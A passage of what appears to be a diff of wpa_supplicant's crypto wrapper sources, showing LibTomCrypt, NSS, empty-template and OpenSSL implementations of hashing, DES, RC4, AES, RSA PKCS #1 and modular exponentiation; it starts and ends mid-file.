int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
|
||||
u8 *plain, size_t len)
|
||||
{
|
||||
int res;
|
||||
|
||||
if (ctx->rc4) {
|
||||
if (plain != crypt)
|
||||
os_memcpy(plain, crypt, len);
|
||||
rc4_skip(ctx->u.rc4.key, ctx->u.rc4.keylen,
|
||||
ctx->u.rc4.used_bytes, plain, len);
|
||||
ctx->u.rc4.used_bytes += len;
|
||||
return 0;
|
||||
}
|
||||
|
||||
res = cbc_decrypt(crypt, plain, len, &ctx->u.cbc);
|
||||
if (res != CRYPT_OK) {
|
||||
wpa_printf(MSG_DEBUG, "LibTomCrypt: CBC decryption "
|
||||
"failed: %s", error_to_string(res));
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void crypto_cipher_deinit(struct crypto_cipher *ctx)
|
||||
{
|
||||
if (!ctx->rc4)
|
||||
cbc_done(&ctx->u.cbc);
|
||||
os_free(ctx);
|
||||
}
|
||||
|
||||
|
||||
struct crypto_public_key {
|
||||
rsa_key rsa;
|
||||
};
|
||||
|
||||
struct crypto_private_key {
|
||||
rsa_key rsa;
|
||||
};
|
||||
|
||||
|
||||
struct crypto_public_key * crypto_public_key_import(const u8 *key, size_t len)
|
||||
{
|
||||
int res;
|
||||
struct crypto_public_key *pk;
|
||||
|
||||
pk = os_zalloc(sizeof(*pk));
|
||||
if (pk == NULL)
|
||||
return NULL;
|
||||
|
||||
res = rsa_import(key, len, &pk->rsa);
|
||||
if (res != CRYPT_OK) {
|
||||
wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import "
|
||||
"public key (res=%d '%s')",
|
||||
res, error_to_string(res));
|
||||
os_free(pk);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (pk->rsa.type != PK_PUBLIC) {
|
||||
wpa_printf(MSG_ERROR, "LibTomCrypt: Public key was not of "
|
||||
"correct type");
|
||||
rsa_free(&pk->rsa);
|
||||
os_free(pk);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return pk;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_private_key * crypto_private_key_import(const u8 *key,
|
||||
size_t len,
|
||||
const char *passwd)
|
||||
{
|
||||
int res;
|
||||
struct crypto_private_key *pk;
|
||||
|
||||
pk = os_zalloc(sizeof(*pk));
|
||||
if (pk == NULL)
|
||||
return NULL;
|
||||
|
||||
res = rsa_import(key, len, &pk->rsa);
|
||||
if (res != CRYPT_OK) {
|
||||
wpa_printf(MSG_ERROR, "LibTomCrypt: Failed to import "
|
||||
"private key (res=%d '%s')",
|
||||
res, error_to_string(res));
|
||||
os_free(pk);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (pk->rsa.type != PK_PRIVATE) {
|
||||
wpa_printf(MSG_ERROR, "LibTomCrypt: Private key was not of "
|
||||
"correct type");
|
||||
rsa_free(&pk->rsa);
|
||||
os_free(pk);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return pk;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_public_key * crypto_public_key_from_cert(const u8 *buf,
|
||||
size_t len)
|
||||
{
|
||||
/* No X.509 support in LibTomCrypt */
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
static int pkcs1_generate_encryption_block(u8 block_type, size_t modlen,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
size_t ps_len;
|
||||
u8 *pos;
|
||||
|
||||
/*
|
||||
* PKCS #1 v1.5, 8.1:
|
||||
*
|
||||
* EB = 00 || BT || PS || 00 || D
|
||||
* BT = 00 or 01 for private-key operation; 02 for public-key operation
|
||||
* PS = k-3-||D||; at least eight octets
|
||||
* (BT=0: PS=0x00, BT=1: PS=0xff, BT=2: PS=pseudorandom non-zero)
|
||||
* k = length of modulus in octets (modlen)
|
||||
*/
|
||||
|
||||
if (modlen < 12 || modlen > *outlen || inlen > modlen - 11) {
|
||||
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Invalid buffer "
|
||||
"lengths (modlen=%lu outlen=%lu inlen=%lu)",
|
||||
__func__, (unsigned long) modlen,
|
||||
(unsigned long) *outlen,
|
||||
(unsigned long) inlen);
|
||||
return -1;
|
||||
}
|
||||
|
||||
pos = out;
|
||||
*pos++ = 0x00;
|
||||
*pos++ = block_type; /* BT */
|
||||
ps_len = modlen - inlen - 3;
|
||||
switch (block_type) {
|
||||
case 0:
|
||||
os_memset(pos, 0x00, ps_len);
|
||||
pos += ps_len;
|
||||
break;
|
||||
case 1:
|
||||
os_memset(pos, 0xff, ps_len);
|
||||
pos += ps_len;
|
||||
break;
|
||||
case 2:
|
||||
if (os_get_random(pos, ps_len) < 0) {
|
||||
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Failed to get "
|
||||
"random data for PS", __func__);
|
||||
return -1;
|
||||
}
|
||||
while (ps_len--) {
|
||||
if (*pos == 0x00)
|
||||
*pos = 0x01;
|
||||
pos++;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
wpa_printf(MSG_DEBUG, "PKCS #1: %s - Unsupported block type "
|
||||
"%d", __func__, block_type);
|
||||
return -1;
|
||||
}
|
||||
*pos++ = 0x00;
|
||||
os_memcpy(pos, in, inlen); /* D */
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
static int crypto_rsa_encrypt_pkcs1(int block_type, rsa_key *key, int key_type,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
unsigned long len, modlen;
|
||||
int res;
|
||||
|
||||
modlen = mp_unsigned_bin_size(key->N);
|
||||
|
||||
if (pkcs1_generate_encryption_block(block_type, modlen, in, inlen,
|
||||
out, outlen) < 0)
|
||||
return -1;
|
||||
|
||||
len = *outlen;
|
||||
res = rsa_exptmod(out, modlen, out, &len, key_type, key);
|
||||
if (res != CRYPT_OK) {
|
||||
wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s",
|
||||
error_to_string(res));
|
||||
return -1;
|
||||
}
|
||||
*outlen = len;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int crypto_public_key_encrypt_pkcs1_v15(struct crypto_public_key *key,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
return crypto_rsa_encrypt_pkcs1(2, &key->rsa, PK_PUBLIC, in, inlen,
|
||||
out, outlen);
|
||||
}
|
||||
|
||||
|
||||
int crypto_private_key_sign_pkcs1(struct crypto_private_key *key,
|
||||
const u8 *in, size_t inlen,
|
||||
u8 *out, size_t *outlen)
|
||||
{
|
||||
return crypto_rsa_encrypt_pkcs1(1, &key->rsa, PK_PRIVATE, in, inlen,
|
||||
out, outlen);
|
||||
}
|
||||
|
||||
|
||||
void crypto_public_key_free(struct crypto_public_key *key)
|
||||
{
|
||||
if (key) {
|
||||
rsa_free(&key->rsa);
|
||||
os_free(key);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void crypto_private_key_free(struct crypto_private_key *key)
|
||||
{
|
||||
if (key) {
|
||||
rsa_free(&key->rsa);
|
||||
os_free(key);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int crypto_public_key_decrypt_pkcs1(struct crypto_public_key *key,
|
||||
const u8 *crypt, size_t crypt_len,
|
||||
u8 *plain, size_t *plain_len)
|
||||
{
|
||||
int res;
|
||||
unsigned long len;
|
||||
u8 *pos;
|
||||
|
||||
len = *plain_len;
|
||||
res = rsa_exptmod(crypt, crypt_len, plain, &len, PK_PUBLIC,
|
||||
&key->rsa);
|
||||
if (res != CRYPT_OK) {
|
||||
wpa_printf(MSG_DEBUG, "LibTomCrypt: rsa_exptmod failed: %s",
|
||||
error_to_string(res));
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
* PKCS #1 v1.5, 8.1:
|
||||
*
|
||||
* EB = 00 || BT || PS || 00 || D
|
||||
* BT = 01
|
||||
* PS = k-3-||D|| times FF
|
||||
* k = length of modulus in octets
|
||||
*/
|
||||
|
||||
if (len < 3 + 8 + 16 /* min hash len */ ||
|
||||
plain[0] != 0x00 || plain[1] != 0x01 || plain[2] != 0xff) {
|
||||
wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB "
|
||||
"structure");
|
||||
return -1;
|
||||
}
|
||||
|
||||
pos = plain + 3;
|
||||
while (pos < plain + len && *pos == 0xff)
|
||||
pos++;
|
||||
if (pos - plain - 2 < 8) {
|
||||
/* PKCS #1 v1.5, 8.1: At least eight octets long PS */
|
||||
wpa_printf(MSG_INFO, "LibTomCrypt: Too short signature "
|
||||
"padding");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (pos + 16 /* min hash len */ >= plain + len || *pos != 0x00) {
|
||||
wpa_printf(MSG_INFO, "LibTomCrypt: Invalid signature EB "
|
||||
"structure (2)");
|
||||
return -1;
|
||||
}
|
||||
pos++;
|
||||
len -= pos - plain;
|
||||
|
||||
/* Strip PKCS #1 header */
|
||||
os_memmove(plain, pos, len);
|
||||
*plain_len = len;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int crypto_global_init(void)
|
||||
{
|
||||
ltc_mp = tfm_desc;
|
||||
/* TODO: only register algorithms that are really needed */
|
||||
if (register_hash(&md4_desc) < 0 ||
|
||||
register_hash(&md5_desc) < 0 ||
|
||||
register_hash(&sha1_desc) < 0 ||
|
||||
register_cipher(&aes_desc) < 0 ||
|
||||
register_cipher(&des_desc) < 0 ||
|
||||
register_cipher(&des3_desc) < 0) {
|
||||
wpa_printf(MSG_ERROR, "TLSv1: Failed to register "
|
||||
"hash/cipher functions");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void crypto_global_deinit(void)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
#ifdef CONFIG_MODEXP
|
||||
|
||||
int crypto_mod_exp(const u8 *base, size_t base_len,
|
||||
const u8 *power, size_t power_len,
|
||||
const u8 *modulus, size_t modulus_len,
|
||||
u8 *result, size_t *result_len)
|
||||
{
|
||||
void *b, *p, *m, *r;
|
||||
|
||||
if (mp_init_multi(&b, &p, &m, &r, NULL) != CRYPT_OK)
|
||||
return -1;
|
||||
|
||||
if (mp_read_unsigned_bin(b, (u8 *) base, base_len) != CRYPT_OK ||
|
||||
mp_read_unsigned_bin(p, (u8 *) power, power_len) != CRYPT_OK ||
|
||||
mp_read_unsigned_bin(m, (u8 *) modulus, modulus_len) != CRYPT_OK)
|
||||
goto fail;
|
||||
|
||||
if (mp_exptmod(b, p, m, r) != CRYPT_OK)
|
||||
goto fail;
|
||||
|
||||
*result_len = mp_unsigned_bin_size(r);
|
||||
if (mp_to_unsigned_bin(r, result) != CRYPT_OK)
|
||||
goto fail;
|
||||
|
||||
mp_clear_multi(b, p, m, r, NULL);
|
||||
return 0;
|
||||
|
||||
fail:
|
||||
mp_clear_multi(b, p, m, r, NULL);
|
||||
return -1;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODEXP */
|
|
@ -0,0 +1,29 @@
|
|||
/*
|
||||
* WPA Supplicant / Empty template functions for crypto wrapper
|
||||
* Copyright (c) 2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
|
||||
{
|
||||
}
|
|
@ -0,0 +1,213 @@
|
|||
/*
|
||||
* Crypto wrapper functions for NSS
|
||||
* Copyright (c) 2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <nspr/prtypes.h>
|
||||
#include <nspr/plarenas.h>
|
||||
#include <nspr/plhash.h>
|
||||
#include <nspr/prtime.h>
|
||||
#include <nspr/prinrval.h>
|
||||
#include <nspr/prclist.h>
|
||||
#include <nspr/prlock.h>
|
||||
#include <nss/sechash.h>
|
||||
#include <nss/pk11pub.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "crypto.h"
|
||||
|
||||
|
||||
static int nss_hash(HASH_HashType type, unsigned int max_res_len,
|
||||
size_t num_elem, const u8 *addr[], const size_t *len,
|
||||
u8 *mac)
|
||||
{
|
||||
HASHContext *ctx;
|
||||
size_t i;
|
||||
unsigned int reslen;
|
||||
|
||||
ctx = HASH_Create(type);
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
|
||||
HASH_Begin(ctx);
|
||||
for (i = 0; i < num_elem; i++)
|
||||
HASH_Update(ctx, addr[i], len[i]);
|
||||
HASH_End(ctx, mac, &reslen, max_res_len);
|
||||
HASH_Destroy(ctx);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
|
||||
{
|
||||
PK11Context *ctx = NULL;
|
||||
PK11SlotInfo *slot;
|
||||
SECItem *param = NULL;
|
||||
PK11SymKey *symkey = NULL;
|
||||
SECItem item;
|
||||
int olen;
|
||||
u8 pkey[8], next, tmp;
|
||||
int i;
|
||||
|
||||
/* Add parity bits to the key */
|
||||
next = 0;
|
||||
for (i = 0; i < 7; i++) {
|
||||
tmp = key[i];
|
||||
pkey[i] = (tmp >> i) | next | 1;
|
||||
next = tmp << (7 - i);
|
||||
}
|
||||
pkey[i] = next | 1;
|
||||
|
||||
slot = PK11_GetBestSlot(CKM_DES_ECB, NULL);
|
||||
if (slot == NULL) {
|
||||
wpa_printf(MSG_ERROR, "NSS: PK11_GetBestSlot failed");
|
||||
goto out;
|
||||
}
|
||||
|
||||
item.type = siBuffer;
|
||||
item.data = pkey;
|
||||
item.len = 8;
|
||||
symkey = PK11_ImportSymKey(slot, CKM_DES_ECB, PK11_OriginDerive,
|
||||
CKA_ENCRYPT, &item, NULL);
|
||||
if (symkey == NULL) {
|
||||
wpa_printf(MSG_ERROR, "NSS: PK11_ImportSymKey failed");
|
||||
goto out;
|
||||
}
|
||||
|
||||
param = PK11_GenerateNewParam(CKM_DES_ECB, symkey);
|
||||
if (param == NULL) {
|
||||
wpa_printf(MSG_ERROR, "NSS: PK11_GenerateNewParam failed");
|
||||
goto out;
|
||||
}
|
||||
|
||||
ctx = PK11_CreateContextBySymKey(CKM_DES_ECB, CKA_ENCRYPT,
|
||||
symkey, param);
|
||||
if (ctx == NULL) {
|
||||
wpa_printf(MSG_ERROR, "NSS: PK11_CreateContextBySymKey("
|
||||
"CKM_DES_ECB) failed");
|
||||
goto out;
|
||||
}
|
||||
|
||||
if (PK11_CipherOp(ctx, cypher, &olen, 8, (void *) clear, 8) !=
|
||||
SECSuccess) {
|
||||
wpa_printf(MSG_ERROR, "NSS: PK11_CipherOp failed");
|
||||
goto out;
|
||||
}
|
||||
|
||||
out:
|
||||
if (ctx)
|
||||
PK11_DestroyContext(ctx, PR_TRUE);
|
||||
if (symkey)
|
||||
PK11_FreeSymKey(symkey);
|
||||
if (param)
|
||||
SECITEM_FreeItem(param, PR_TRUE);
|
||||
}
|
||||
|
||||
|
||||
int rc4_skip(const u8 *key, size_t keylen, size_t skip,
|
||||
u8 *data, size_t data_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return nss_hash(HASH_AlgMD5, 16, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return nss_hash(HASH_AlgSHA1, 20, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len,
|
||||
u8 *mac)
|
||||
{
|
||||
return nss_hash(HASH_AlgSHA256, 32, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
void * aes_encrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt_deinit(void *ctx)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
void * aes_decrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt_deinit(void *ctx)
|
||||
{
|
||||
}
|
||||
|
||||
|
||||
int crypto_mod_exp(const u8 *base, size_t base_len,
|
||||
const u8 *power, size_t power_len,
|
||||
const u8 *modulus, size_t modulus_len,
|
||||
u8 *result, size_t *result_len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
struct crypto_cipher {
|
||||
};
|
||||
|
||||
|
||||
struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg,
|
||||
const u8 *iv, const u8 *key,
|
||||
size_t key_len)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain,
|
||||
u8 *crypt, size_t len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt,
|
||||
u8 *plain, size_t len)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
void crypto_cipher_deinit(struct crypto_cipher *ctx)
|
||||
{
|
||||
}
|
|
@ -0,0 +1,505 @@
|
|||
/*
|
||||
* WPA Supplicant / wrapper functions for libcrypto
|
||||
* Copyright (c) 2004-2009, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
#include <openssl/opensslv.h>
|
||||
#include <openssl/err.h>
|
||||
#include <openssl/des.h>
|
||||
#include <openssl/aes.h>
|
||||
#include <openssl/bn.h>
|
||||
#include <openssl/evp.h>
|
||||
#include <openssl/dh.h>
|
||||
|
||||
#include "common.h"
|
||||
#include "wpabuf.h"
|
||||
#include "dh_group5.h"
|
||||
#include "crypto.h"
|
||||
|
||||
#if OPENSSL_VERSION_NUMBER < 0x00907000
|
||||
#define DES_key_schedule des_key_schedule
|
||||
#define DES_cblock des_cblock
|
||||
#define DES_set_key(key, schedule) des_set_key((key), *(schedule))
|
||||
#define DES_ecb_encrypt(input, output, ks, enc) \
|
||||
des_ecb_encrypt((input), (output), *(ks), (enc))
|
||||
#endif /* openssl < 0.9.7 */
|
||||
|
||||
static BIGNUM * get_group5_prime(void)
|
||||
{
|
||||
#if OPENSSL_VERSION_NUMBER < 0x00908000
|
||||
static const unsigned char RFC3526_PRIME_1536[] = {
|
||||
0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xC9,0x0F,0xDA,0xA2,
|
||||
0x21,0x68,0xC2,0x34,0xC4,0xC6,0x62,0x8B,0x80,0xDC,0x1C,0xD1,
|
||||
0x29,0x02,0x4E,0x08,0x8A,0x67,0xCC,0x74,0x02,0x0B,0xBE,0xA6,
|
||||
0x3B,0x13,0x9B,0x22,0x51,0x4A,0x08,0x79,0x8E,0x34,0x04,0xDD,
|
||||
0xEF,0x95,0x19,0xB3,0xCD,0x3A,0x43,0x1B,0x30,0x2B,0x0A,0x6D,
|
||||
0xF2,0x5F,0x14,0x37,0x4F,0xE1,0x35,0x6D,0x6D,0x51,0xC2,0x45,
|
||||
0xE4,0x85,0xB5,0x76,0x62,0x5E,0x7E,0xC6,0xF4,0x4C,0x42,0xE9,
|
||||
0xA6,0x37,0xED,0x6B,0x0B,0xFF,0x5C,0xB6,0xF4,0x06,0xB7,0xED,
|
||||
0xEE,0x38,0x6B,0xFB,0x5A,0x89,0x9F,0xA5,0xAE,0x9F,0x24,0x11,
|
||||
0x7C,0x4B,0x1F,0xE6,0x49,0x28,0x66,0x51,0xEC,0xE4,0x5B,0x3D,
|
||||
0xC2,0x00,0x7C,0xB8,0xA1,0x63,0xBF,0x05,0x98,0xDA,0x48,0x36,
|
||||
0x1C,0x55,0xD3,0x9A,0x69,0x16,0x3F,0xA8,0xFD,0x24,0xCF,0x5F,
|
||||
0x83,0x65,0x5D,0x23,0xDC,0xA3,0xAD,0x96,0x1C,0x62,0xF3,0x56,
|
||||
0x20,0x85,0x52,0xBB,0x9E,0xD5,0x29,0x07,0x70,0x96,0x96,0x6D,
|
||||
0x67,0x0C,0x35,0x4E,0x4A,0xBC,0x98,0x04,0xF1,0x74,0x6C,0x08,
|
||||
0xCA,0x23,0x73,0x27,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,
|
||||
};
|
||||
return BN_bin2bn(RFC3526_PRIME_1536, sizeof(RFC3526_PRIME_1536), NULL);
|
||||
#else /* openssl < 0.9.8 */
|
||||
return get_rfc3526_prime_1536(NULL);
|
||||
#endif /* openssl < 0.9.8 */
|
||||
}
|
||||
|
||||
#if OPENSSL_VERSION_NUMBER < 0x00908000
|
||||
#ifndef OPENSSL_NO_SHA256
|
||||
#ifndef OPENSSL_FIPS
|
||||
#define NO_SHA256_WRAPPER
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif /* openssl < 0.9.8 */
|
||||
|
||||
#ifdef OPENSSL_NO_SHA256
|
||||
#define NO_SHA256_WRAPPER
|
||||
#endif
|
||||
|
||||
static int openssl_digest_vector(const EVP_MD *type, int non_fips,
|
||||
size_t num_elem, const u8 *addr[],
|
||||
const size_t *len, u8 *mac)
|
||||
{
|
||||
EVP_MD_CTX ctx;
|
||||
size_t i;
|
||||
unsigned int mac_len;
|
||||
|
||||
EVP_MD_CTX_init(&ctx);
|
||||
#ifdef CONFIG_FIPS
|
||||
#ifdef OPENSSL_FIPS
|
||||
if (non_fips)
|
||||
EVP_MD_CTX_set_flags(&ctx, EVP_MD_CTX_FLAG_NON_FIPS_ALLOW);
|
||||
#endif /* OPENSSL_FIPS */
|
||||
#endif /* CONFIG_FIPS */
|
||||
if (!EVP_DigestInit_ex(&ctx, type, NULL)) {
|
||||
wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestInit_ex failed: %s",
|
||||
ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
for (i = 0; i < num_elem; i++) {
|
||||
if (!EVP_DigestUpdate(&ctx, addr[i], len[i])) {
|
||||
wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestUpdate "
|
||||
"failed: %s",
|
||||
ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
if (!EVP_DigestFinal(&ctx, mac, &mac_len)) {
|
||||
wpa_printf(MSG_ERROR, "OpenSSL: EVP_DigestFinal failed: %s",
|
||||
ERR_error_string(ERR_get_error(), NULL));
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
int md4_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return openssl_digest_vector(EVP_md4(), 0, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
void des_encrypt(const u8 *clear, const u8 *key, u8 *cypher)
|
||||
{
|
||||
u8 pkey[8], next, tmp;
|
||||
int i;
|
||||
DES_key_schedule ks;
|
||||
|
||||
/* Add parity bits to the key */
|
||||
next = 0;
|
||||
for (i = 0; i < 7; i++) {
|
||||
tmp = key[i];
|
||||
pkey[i] = (tmp >> i) | next | 1;
|
||||
next = tmp << (7 - i);
|
||||
}
|
||||
pkey[i] = next | 1;
|
||||
|
||||
DES_set_key(&pkey, &ks);
|
||||
DES_ecb_encrypt((DES_cblock *) clear, (DES_cblock *) cypher, &ks,
|
||||
DES_ENCRYPT);
|
||||
}
|
||||
|
||||
|
||||
int rc4_skip(const u8 *key, size_t keylen, size_t skip,
|
||||
u8 *data, size_t data_len)
|
||||
{
|
||||
#ifdef OPENSSL_NO_RC4
|
||||
return -1;
|
||||
#else /* OPENSSL_NO_RC4 */
|
||||
EVP_CIPHER_CTX ctx;
|
||||
int outl;
|
||||
int res = -1;
|
||||
unsigned char skip_buf[16];
|
||||
|
||||
EVP_CIPHER_CTX_init(&ctx);
|
||||
if (!EVP_CIPHER_CTX_set_padding(&ctx, 0) ||
|
||||
!EVP_CipherInit_ex(&ctx, EVP_rc4(), NULL, NULL, NULL, 1) ||
|
||||
!EVP_CIPHER_CTX_set_key_length(&ctx, keylen) ||
|
||||
!EVP_CipherInit_ex(&ctx, NULL, NULL, key, NULL, 1))
|
||||
goto out;
|
||||
|
||||
while (skip >= sizeof(skip_buf)) {
|
||||
size_t len = skip;
|
||||
if (len > sizeof(skip_buf))
|
||||
len = sizeof(skip_buf);
|
||||
if (!EVP_CipherUpdate(&ctx, skip_buf, &outl, skip_buf, len))
|
||||
goto out;
|
||||
skip -= len;
|
||||
}
|
||||
|
||||
if (EVP_CipherUpdate(&ctx, data, &outl, data, data_len))
|
||||
res = 0;
|
||||
|
||||
out:
|
||||
EVP_CIPHER_CTX_cleanup(&ctx);
|
||||
return res;
|
||||
#endif /* OPENSSL_NO_RC4 */
|
||||
}
|
||||
|
||||
|
||||
int md5_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return openssl_digest_vector(EVP_md5(), 0, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
#ifdef CONFIG_FIPS
|
||||
int md5_vector_non_fips_allow(size_t num_elem, const u8 *addr[],
|
||||
const size_t *len, u8 *mac)
|
||||
{
|
||||
return openssl_digest_vector(EVP_md5(), 1, num_elem, addr, len, mac);
|
||||
}
|
||||
#endif /* CONFIG_FIPS */
|
||||
|
||||
|
||||
int sha1_vector(size_t num_elem, const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
return openssl_digest_vector(EVP_sha1(), 0, num_elem, addr, len, mac);
|
||||
}
|
||||
|
||||
|
||||
#ifndef NO_SHA256_WRAPPER
|
||||
int sha256_vector(size_t num_elem, const u8 *addr[], const size_t *len,
|
||||
u8 *mac)
|
||||
{
|
||||
return openssl_digest_vector(EVP_sha256(), 0, num_elem, addr, len,
|
||||
mac);
|
||||
}
|
||||
#endif /* NO_SHA256_WRAPPER */
|
||||
|
||||
|
||||
void * aes_encrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
AES_KEY *ak;
|
||||
ak = os_malloc(sizeof(*ak));
|
||||
if (ak == NULL)
|
||||
return NULL;
|
||||
if (AES_set_encrypt_key(key, 8 * len, ak) < 0) {
|
||||
os_free(ak);
|
||||
return NULL;
|
||||
}
|
||||
return ak;
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt)
|
||||
{
|
||||
AES_encrypt(plain, crypt, ctx);
|
||||
}
|
||||
|
||||
|
||||
void aes_encrypt_deinit(void *ctx)
|
||||
{
|
||||
os_free(ctx);
|
||||
}
|
||||
|
||||
|
||||
void * aes_decrypt_init(const u8 *key, size_t len)
|
||||
{
|
||||
AES_KEY *ak;
|
||||
ak = os_malloc(sizeof(*ak));
|
||||
if (ak == NULL)
|
||||
return NULL;
|
||||
if (AES_set_decrypt_key(key, 8 * len, ak) < 0) {
|
||||
os_free(ak);
|
||||
return NULL;
|
||||
}
|
||||
return ak;
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain)
|
||||
{
|
||||
AES_decrypt(crypt, plain, ctx);
|
||||
}
|
||||
|
||||
|
||||
void aes_decrypt_deinit(void *ctx)
|
||||
{
|
||||
os_free(ctx);
|
||||
}
|
||||
|
||||
|
||||
int crypto_mod_exp(const u8 *base, size_t base_len,
|
||||
const u8 *power, size_t power_len,
|
||||
const u8 *modulus, size_t modulus_len,
|
||||
u8 *result, size_t *result_len)
|
||||
{
|
||||
BIGNUM *bn_base, *bn_exp, *bn_modulus, *bn_result;
|
||||
int ret = -1;
|
||||
BN_CTX *ctx;
|
||||
|
||||
ctx = BN_CTX_new();
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
|
||||
bn_base = BN_bin2bn(base, base_len, NULL);
|
||||
bn_exp = BN_bin2bn(power, power_len, NULL);
|
||||
bn_modulus = BN_bin2bn(modulus, modulus_len, NULL);
|
||||
bn_result = BN_new();
|
||||
|
||||
if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL ||
|
||||
bn_result == NULL)
|
||||
goto error;
|
||||
|
||||
if (BN_mod_exp(bn_result, bn_base, bn_exp, bn_modulus, ctx) != 1)
|
||||
